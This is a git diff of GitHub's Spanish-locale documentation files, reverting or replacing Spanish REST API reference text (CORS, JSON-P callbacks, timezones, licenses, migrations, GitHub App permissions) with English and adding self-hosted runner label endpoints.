@@ $ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: T > X-RateLimit-Reset: 1372700873 ``` -## Intercambio de recursos de origen cruzado +## Cross origin resource sharing -La API es compatible con el Intercambio de Recursos de Origen Cruzado (CORS, por sus siglas en inglés) para las solicitudes de AJAX de cualquier origen. Puedes leer la [Recomendación del W3C sobre CORS](http://www.w3.org/TR/cors/), o [esta introducción](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) de la Guía de Seguridad de HTML 5. +The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from +any origin. +You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or +[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the +HTML 5 Security Guide. -Aquí hay una solicitud de ejemplo que se envió desde una consulta de buscador `http://example.com`: +Here's a sample request sent from a browser hitting +`http://example.com`: ```shell $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" @@ -495,7 +552,7 @@ Access-Control-Allow-Origin: * Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval ``` -Así se ve una solicitud de prevuelo de CORS: +This is what the CORS preflight request looks like: ```shell $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS @@ -507,9 +564,13 @@ Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-Ra Access-Control-Max-Age: 86400 ``` -## Rellamados de JSON-P +## JSON-P callbacks -Puedes enviar un parámetro de `?callback` a cualquier llamado de GET para envolver los resultados en una función de JSON. Esto se utiliza típicamente cuando los buscadores quieren insertar contenido de {% data variables.product.product_name %} en las páginas web evitando los problemas de dominio cruzado. La respuesta incluye la misma salida de datos que la API común, mas la información relevante del Encabezado HTTP. +You can send a `?callback` parameter to any GET call to have the results +wrapped in a JSON function. This is typically used when browsers want +to embed {% data variables.product.product_name %} content in web pages by getting around cross domain +issues. The response includes the same data output as the regular API, +plus the relevant HTTP Header information. ```shell $ curl {% data variables.product.api_url_pre %}?callback=foo @@ -530,7 +591,7 @@ $ curl {% data variables.product.api_url_pre %}?callback=foo > }) ``` -Puedes escribir un agente de JavaScript para procesar la rellamada. Aquí hay un ejemplo minimalista que puedes probar: +You can write a JavaScript handler to process the callback. Here's a minimal example you can try out: @@ -541,26 +602,28 @@ Puedes escribir un agente de JavaScript para procesar la rellamada. Aquí hay un console.log(meta); console.log(data); } - + var script = document.createElement('script'); script.src = '{% data variables.product.api_url_code %}?callback=foo'; - + document.getElementsByTagName('head')[0].appendChild(script); - +

                Open up your browser's console.

                -Todos los encabezados consisten en el mismo valor de secuencia que los encabezados HTTP con una excepción notoria: El Enlace. Los encabezados de enlace se pre-analizan y se presentan como una matriz de tuplas de `[url, options]`. +All of the headers are the same String value as the HTTP Headers with one +notable exception: Link. Link headers are pre-parsed for you and come +through as an array of `[url, options]` tuples. -Un enlace que se ve así: +A link that looks like this: Link: ; rel="next", ; rel="foo"; bar="baz" -... se verá así en la salida de la rellamada: +... will look like this in the Callback output: ```json { @@ -582,42 +645,39 @@ Un enlace que se ve así: } ``` -## Zonas horarias +## Timezones -Algunas solicitudes que crean datos nuevos, tales como aquellas para crear una confirmación nueva, te permiten proporcionar información sobre la zona horaria cuando especificas o generas marcas de tiempo. We apply the following rules, in order of priority, to determine timezone information for such API calls. +Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls. -* [Proporcionar explícitamente una marca de tiempo de tipo ISO 8601 con información de la zona horaria](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information) -* [Utilizar el encabezado de `Time-Zone`](#using-the-time-zone-header) -* [Utilizar la última zona horaria conocida del usuario](#using-the-last-known-timezone-for-the-user) -* [Poner como defecto UTC en ausencia de otra información de zona horaria](#defaulting-to-utc-without-other-timezone-information) +* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information) +* [Using the `Time-Zone` header](#using-the-time-zone-header) +* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user) +* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information) Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format. -### Proporcionar explícitamente una marca de tiempo de tipo ISO 8601 con información de la zona horaria +### Explicitly providing an ISO 8601 timestamp with timezone information -Para las llamadas a la API que permitan que se especifique una marca de tiempo, utilizamos esa marca de tiempo exacta. Como ejemplo de esto, está la [API de Confirmaciones](/rest/reference/git#commits). +For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits). -Estas marcas de tiempo se ven más o menos como `2014-02-27T15:05:06+01:00`. También, puedes ver [este ejemplo](/rest/reference/git#example-input) de cómo se pueden especificar las marcas de tiempo. +These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified. -### Utilizar el encabezado de `Time-Zone` +### Using the `Time-Zone` header -Es posible proporcionar un encabezado de `Time-Zone` que defina la zona horaria de acuerdo con la [lista de nombres de la base de datos Olson](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). +It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). ```shell $ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md ``` -Esto significa que generamos una marca de tiempo para el momento en el se haga el llamado a tu API en la zona horaria que defina este encabezado. Por ejemplo, la [API de Contenidos](/rest/reference/repos#contents) genera una confirmación de git para cada adición o cambio y utiliza este tiempo actual como la marca de tiempo. Este encabezado determinará la zona horaria que se utiliza para generar la marca de tiempo actual. +This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp. -### Utilizar la última zona horaria conocida del usuario +### Using the last known timezone for the user -Si no se especifica ningún encabezado de `Time-Zone` y haces una llamada autenticada a la API, utilizaremos esta última zona horaria para el usuario autenticado. La última zona horaria conocida se actualiza cuando sea que busques el sitio web de {% data variables.product.product_name %}. +If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website. -### Poner como defecto UTC en ausencia de otra información de zona horaria +### Defaulting to UTC without other timezone information -Si los pasos anteriores no dan como resultado ninguna información, utilizaremos UTC como la zona horaria para crear la confirmación de git. - -[rfc]: https://datatracker.ietf.org/doc/html/rfc6570 -[uri]: https://github.com/hannesg/uri_template +If the steps above don't result in any information, we use UTC as the timezone to create the git commit. [pagination-guide]: /guides/traversing-with-pagination diff --git a/translations/es-ES/content/rest/reference/gitignore.md b/translations/es-ES/content/rest/reference/gitignore.md index cccdeaf786..3e2b01c4bc 100644 --- a/translations/es-ES/content/rest/reference/gitignore.md +++ b/translations/es-ES/content/rest/reference/gitignore.md @@ -1,6 +1,6 @@ --- title: Gitignore -intro: La API de Gitignore recupera las plantillas de `.gitignore` que pueden utilizarse para ignorar archivos y directorios. +intro: The Gitignore API fetches `.gitignore` templates that can be used to ignore files and directories. redirect_from: - /v3/gitignore versions: @@ -13,14 +13,14 @@ topics: miniTocMaxHeadingLevel: 3 --- -When you create a new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} via the API, you can specify a [.gitignore template](/github/getting-started-with-github/ignoring-files) to apply to the repository upon creation. La API de plantillas de .gitignore lista y recupera plantillas del [repositorio de .gitignore](https://github.com/github/gitignore) de {% data variables.product.product_name %}. +When you create a new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} via the API, you can specify a [.gitignore template](/github/getting-started-with-github/ignoring-files) to apply to the repository upon creation. The .gitignore templates API lists and fetches templates from the {% data variables.product.product_name %} [.gitignore repository](https://github.com/github/gitignore). -### Tipos de medios personalizados para gitignore +### Custom media types for gitignore -Puedes utilizar este tipo de medios personalizado cuando obtengas una plantilla de gitignore. +You can use this custom media type when getting a gitignore template. application/vnd.github.VERSION.raw -Para obtener más información, consulta la sección "[Tipos de medios](/rest/overview/media-types)". +For more information, see "[Media types](/rest/overview/media-types)." {% include rest_operations_at_current_path %} diff --git a/translations/es-ES/content/rest/reference/licenses.md b/translations/es-ES/content/rest/reference/licenses.md index f255189253..f6106c3d70 100644 --- a/translations/es-ES/content/rest/reference/licenses.md +++ b/translations/es-ES/content/rest/reference/licenses.md @@ -1,6 +1,6 @@ --- -title: Licencias -intro: La API de Licencias te permite recuperar las licencias populares de código abierto y la información sobre un archivo de licencia de un proyecto en particular. +title: Licenses +intro: The Licenses API lets you to retrieve popular open source licenses and information about a particular project's license file. redirect_from: - /v3/licenses versions: @@ -13,26 +13,26 @@ topics: miniTocMaxHeadingLevel: 3 --- -La API de licencias devuelve metadatos acerca de las liciencias de código abierto populares y acerca de la información sobre un archivo de licencia específico de un proyecto. +The Licenses API returns metadata about popular open source licenses and information about a particular project's license file. -La API de licencias utiliza [el Licenciatario de código abierto de la Gema de Ruby ](https://github.com/benbalter/licensee) para intentar identificar la licencia del proyecto. Este licenciatario empata el contenido del archivo de `LICENSE` de un proyecto (si es que existe) contra una lista corta de licencias conocidas. Como resultado, la API no toma en cuenta las licencias de las dependencias del proyecto u otros medios de documentar la licencia de un proyecto tales como las referencias al nombre de la licencia en la documentación. +The Licenses API uses [the open source Ruby Gem Licensee](https://github.com/benbalter/licensee) to attempt to identify the project's license. Licensee matches the contents of a project's `LICENSE` file (if it exists) against a short list of known licenses. As a result, the API does not take into account the licenses of project dependencies or other means of documenting a project's license such as references to the license name in the documentation. -Si una licencia empata, la llave de licencia y el nombre devuelto se apegan a la [especificación SPDX](https://spdx.org/). +If a license is matched, the license key and name returned conforms to the [SPDX specification](https://spdx.org/). -**Nota:** Estas terminales también devolverán la información de licencia de un repositorio: +**Note:** These endpoints will also return a repository's license information: -- [Obtener un repositorio](/rest/reference/repos#get-a-repository) -- [Listar los repositorios para un usuario](/rest/reference/repos#list-repositories-for-a-user) -- [Listar los repositorios de una organización](/rest/reference/repos#list-organization-repositories) -- [Listar las bifurcaciones](/rest/reference/repos#list-forks) -- [Listar los repositorios que el usuario está observando](/rest/reference/activity#list-repositories-watched-by-a-user) -- [Listar los repositorios de equipo](/rest/reference/teams#list-team-repositories) +- [Get a repository](/rest/reference/repos#get-a-repository) +- [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user) +- [List organization repositories](/rest/reference/repos#list-organization-repositories) +- [List forks](/rest/reference/repos#list-forks) +- [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user) +- [List team repositories](/rest/reference/teams#list-team-repositories) {% warning %} -GitHub puede ser muchas cosas, pero no es un buró legal. Como tal, GitHub no proporcional consejo legal. Al utilizar la API de licencias o al enviarnos un mensaje de correo electrónico acerca de ellas no estás incurriendo en ningún consejo legal ni creando una relación abogado-cliente. Si tienes cualquier pregunta acerca de lo que puedes o no hacer con una licencia específica, debes acudir a tu propio consejero legal antes de continuar. De hecho, siempre debes consultar con tu propio abogado antes de que decidas tomar cualquier decisión que pudiera tener implicaciones legales o que pudiera impactar tus derechos. +GitHub is a lot of things, but it’s not a law firm. As such, GitHub does not provide legal advice. Using the Licenses API or sending us an email about it does not constitute legal advice nor does it create an attorney-client relationship. If you have any questions about what you can and can't do with a particular license, you should consult with your own legal counsel before moving forward. In fact, you should always consult with your own lawyer before making any decisions that might have legal ramifications or that may impact your legal rights. -GitHub creó la API de Licencias para ayudar a los usuarios a obtener información acerca de las licencias de código abierto y de los proyectos que las utilizan. Esperamos que te sea útil, pero ten presente que no somos abogados (por lo menos, la mayoría de nosotros no lo somos) y que cometemos errores como todo el mundo. For that reason, GitHub provides the API on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the API. +GitHub created the License API to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers (at least most of us aren't) and that we make mistakes like everyone else. For that reason, GitHub provides the API on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the API. {% endwarning %} diff --git a/translations/es-ES/content/rest/reference/migrations.md b/translations/es-ES/content/rest/reference/migrations.md index da9547246f..547a3a6f1f 100644 --- a/translations/es-ES/content/rest/reference/migrations.md +++ b/translations/es-ES/content/rest/reference/migrations.md @@ -1,6 +1,6 @@ --- -title: Migraciones -intro: 'La API de Migración te permite migrar los repositorios y usuarios de tu organización de {% data variables.product.prodname_dotcom_the_website %} a {% data variables.product.prodname_ghe_server %}.' +title: Migrations +intro: 'The Migration API lets you migrate the repositories and users of your organization from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}.' redirect_from: - /v3/migrations - /v3/migration @@ -17,9 +17,9 @@ miniTocMaxHeadingLevel: 3 {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## Organización +## Organization -La API de Migraciones solo está disponible para los propietarios autenticados de la organización. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization)" and "[Other authentication methods](/rest/overview/other-authentication-methods)." +The Migrations API is only available to authenticated organization owners. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization)" and "[Other authentication methods](/rest/overview/other-authentication-methods)." {% data variables.migrations.organization_migrations_intro %} @@ -27,13 +27,13 @@ La API de Migraciones solo está disponible para los propietarios autenticados d {% if operation.subcategory == 'orgs' %}{% include rest_operation %}{% endif %} {% endfor %} -## Importaciones de Código Fuente +## Source imports {% data variables.migrations.source_imports_intro %} -Una importación de código fuente habitual inicia la importación y luego actualiza (opcionalmente) a los autores y/o actualiza las preferencias para utilizar el LFS de Ggit si existen archivos grandes en la importación. También puedes crear un webhook que escuche al [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) para encontrar el estado de la importación. +A typical source import would start the import and then (optionally) update the authors and/or update the preference for using Git LFS if large files exist in the import. You can also create a webhook that listens for the [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) to find out the status of the import. -Se puede ver un ejemplo más detallado en este diagrama: +A more detailed example can be seen in this diagram: ``` +---------+ +--------+ +---------------------+ @@ -112,15 +112,15 @@ Se puede ver un ejemplo más detallado en este diagrama: {% if operation.subcategory == 'source-imports' %}{% include rest_operation %}{% endif %} {% endfor %} -## Usuario +## User -La API de migraciones de usuario solo está disponible para los propietarios de cuentas autenticadas. Para obtener más información, consulta la sección "[Otros métodos de autenticación](/rest/overview/other-authentication-methods)". +The User migrations API is only available to authenticated account owners. For more information, see "[Other authentication methods](/rest/overview/other-authentication-methods)." -{% data variables.migrations.user_migrations_intro %} Para encontrar una lista descargable de datos de migración, consulta "[Descarga un archivo de migración de usuario](#download-a-user-migration-archive)". +{% data variables.migrations.user_migrations_intro %} For a list of migration data that you can download, see "[Download a user migration archive](#download-a-user-migration-archive)." -Antes de descargar un archivo deberás iniciar la migración del usuario. Una vez que el estado de la migración sea `exported`, podrás descargarla. +To download an archive, you'll need to start a user migration first. Once the status of the migration is `exported`, you can download the migration. -Ya que hayas creado el archivo de migración, este estará disponible para su descarga por siete días. Pero puedes borrar el archivo de migración del usuario antes si lo prefieres. Puedes desbloquear tu repositorio cuando la migración aparezca como `exported` para comenzar a utilizar tu repositorio nuevamente o borrarlo si ya no necesitas los datos del código fuente. +Once you've created a migration archive, it will be available to download for seven days. But, you can delete the user migration archive sooner if you'd like. You can unlock your repository when the migration is `exported` to begin using your repository again or delete the repository if you no longer need the source data. {% for operation in currentRestOperations %} {% if operation.subcategory == 'users' %}{% include rest_operation %}{% endif %} diff --git a/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md b/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md index 4badd53aea..a8142804dc 100644 --- a/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md +++ b/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md @@ -1,6 +1,6 @@ --- -title: Permisos que requieren las Github Apps -intro: 'Puedes encontrar los permisos que requiere cada terminal compatible con {% data variables.product.prodname_github_app %}.' +title: Permissions required for GitHub Apps +intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.' redirect_from: - /v3/apps/permissions versions: @@ -11,16 +11,16 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -shortTitle: Permisos de las GitHub Apps +shortTitle: GitHub App permissions --- -### Acerca de los permisos de las {% data variables.product.prodname_github_app %} +### About {% data variables.product.prodname_github_app %} permissions -Las {% data variables.product.prodname_github_apps %} se crean un con conjunto de permisos. Los permisos definen a qué recursos puede acceder la {% data variables.product.prodname_github_app %} a través de la API. Para obtener más información, consulta la sección "[Configurar los permisos para las GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)". +{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)." -### Permisos de metadatos +### Metadata permissions -Las GitHub Apps tienen el permiso de metadatos de `Read-only` predeterminadamente. El permiso de metadatos proporciona acceso a una recopilación de terminales de solo lectura con los metadatos de varios recursos. Estas terminales no filtran información sensible de los repositorios privados. +GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information. {% data reusables.apps.metadata-permissions %} @@ -72,17 +72,17 @@ Las GitHub Apps tienen el permiso de metadatos de `Read-only` predeterminadament - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user) - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) -_Colaboradores_ +_Collaborators_ - [`GET /repos/:owner/:repo/collaborators`](/rest/reference/repos#list-repository-collaborators) - [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator) -_Comentarios sobre confirmación de cambios_ +_Commit comments_ - [`GET /repos/:owner/:repo/comments`](/rest/reference/repos#list-commit-comments-for-a-repository) - [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#get-a-commit-comment) - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) - [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/repos#list-commit-comments) -_Eventos_ +_Events_ - [`GET /events`](/rest/reference/activity#list-public-events) - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories) - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events) @@ -95,10 +95,10 @@ _Git_ - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates) - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template) -_Claves_ +_Keys_ - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user) -_Miembros de la organización_ +_Organization members_ - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members) - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user) - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members) @@ -114,7 +114,7 @@ _Search_ - [`GET /search/users`](/rest/reference/search#search-users) {% ifversion fpt or ghes or ghec %} -### Permiso sobre las "acciones" +### Permission on "actions" - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read) @@ -138,7 +138,7 @@ _Search_ - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read) {% endif %} -### Permiso sobre la "administración" +### Permission on "administration" - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write) - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write) @@ -147,6 +147,11 @@ _Search_ - [`GET /repos/:owner/:repo/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (:read) - [`GET /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (:read) - [`DELETE /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (:write) +- [`GET /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (:read) +- [`POST /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (:write) +- [`PUT /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (:write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (:write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (:write) {% ifversion fpt or ghes -%} - [`POST /repos/:owner/:repo/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (:write) - [`POST /repos/:owner/:repo/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (:write) @@ -184,7 +189,7 @@ _Search_ - [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/repos#accept-a-repository-invitation) (:write) - [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/repos#decline-a-repository-invitation) (:write) -_Ramas_ +_Branches_ - [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#get-branch-protection) (:read) - [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#update-branch-protection) (:write) - [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#delete-branch-protection) (:write) @@ -218,28 +223,28 @@ _Ramas_ - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write) {% endif %} -_Colaboradores_ +_Collaborators_ - [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#add-a-repository-collaborator) (:write) - [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#remove-a-repository-collaborator) (:write) -_Invitaciones_ +_Invitations_ - [`GET /repos/:owner/:repo/invitations`](/rest/reference/repos#list-repository-invitations) (:read) - [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#update-a-repository-invitation) (:write) - [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#delete-a-repository-invitation) (:write) -_Claves_ +_Keys_ - [`GET /repos/:owner/:repo/keys`](/rest/reference/repos#list-deploy-keys) (:read) - [`POST /repos/:owner/:repo/keys`](/rest/reference/repos#create-a-deploy-key) (:write) - [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#get-a-deploy-key) (:read) - [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#delete-a-deploy-key) (:write) -_Equipos_ +_Teams_ - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read) - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write) - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write) {% ifversion fpt or ghec %} -_Tráfico_ +_Traffic_ - [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repos#get-repository-clones) (:read) - [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repos#get-top-referral-paths) (:read) - [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repos#get-top-referral-sources) (:read) @@ -247,7 +252,7 @@ _Tráfico_ {% endif %} {% ifversion fpt or ghec %} -### Permiso sobre el "bloqueo" +### Permission on "blocking" - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read) - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read) @@ -255,7 +260,7 @@ _Tráfico_ - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write) {% endif %} -### Permiso sobre las "verificaciones" +### Permission on "checks" - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write) - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read) @@ -269,7 +274,7 @@ _Tráfico_ - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read) - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read) -### Permiso sobre el "contenido" +### Permission on "contents" - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read) {% ifversion fpt -%} @@ -355,7 +360,7 @@ _Tráfico_ - [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (:write) - [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (:read) -_Ramas_ +_Branches_ - [`GET /repos/:owner/:repo/branches`](/rest/reference/repos#list-branches) (:read) - [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/repos#get-a-branch) (:read) - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (:write) @@ -366,7 +371,7 @@ _Ramas_ - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write) {% endif %} -_Comentarios sobre confirmación de cambios_ +_Commit comments_ - [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#update-a-commit-comment) (:write) - [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#delete-a-commit-comment) (:write) - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read) @@ -399,7 +404,7 @@ _Import_ - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write) {% endif %} -_Reacciones_ +_Reactions_ {% ifversion fpt or ghes or ghae -%} - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write) @@ -415,7 +420,7 @@ _Reacciones_ - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write) {% endif %} -_Lanzamientos_ +_Releases_ - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read) - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write) - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read) @@ -428,7 +433,7 @@ _Lanzamientos_ - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read) - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read) -### Permiso sobre los "despliegues" +### Permission on "deployments" - [`GET /repos/:owner/:repo/deployments`](/rest/reference/repos#list-deployments) (:read) - [`POST /repos/:owner/:repo/deployments`](/rest/reference/repos#create-a-deployment) (:write) @@ -441,7 +446,7 @@ _Lanzamientos_ - [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/repos#get-a-deployment-status) (:read) {% ifversion fpt or ghes or ghec %} -### Permiso sobre los "correos electrónicos" +### Permission on "emails" {% ifversion fpt -%} - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write) @@ -452,7 +457,7 @@ _Lanzamientos_ - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read) {% endif %} -### Permiso sobre los "seguidores" +### Permission on "followers" - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read) - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read) @@ -460,7 +465,7 @@ _Lanzamientos_ - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write) - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write) -### Permiso sobre las "llaves gpg" +### Permission on "gpg keys" - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read) - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write) @@ -468,16 +473,16 @@ _Lanzamientos_ - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write) {% ifversion fpt or ghec %} -### Permiso sobre "límites de interacción" +### Permission on "interaction limits" - [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read) - [`PUT 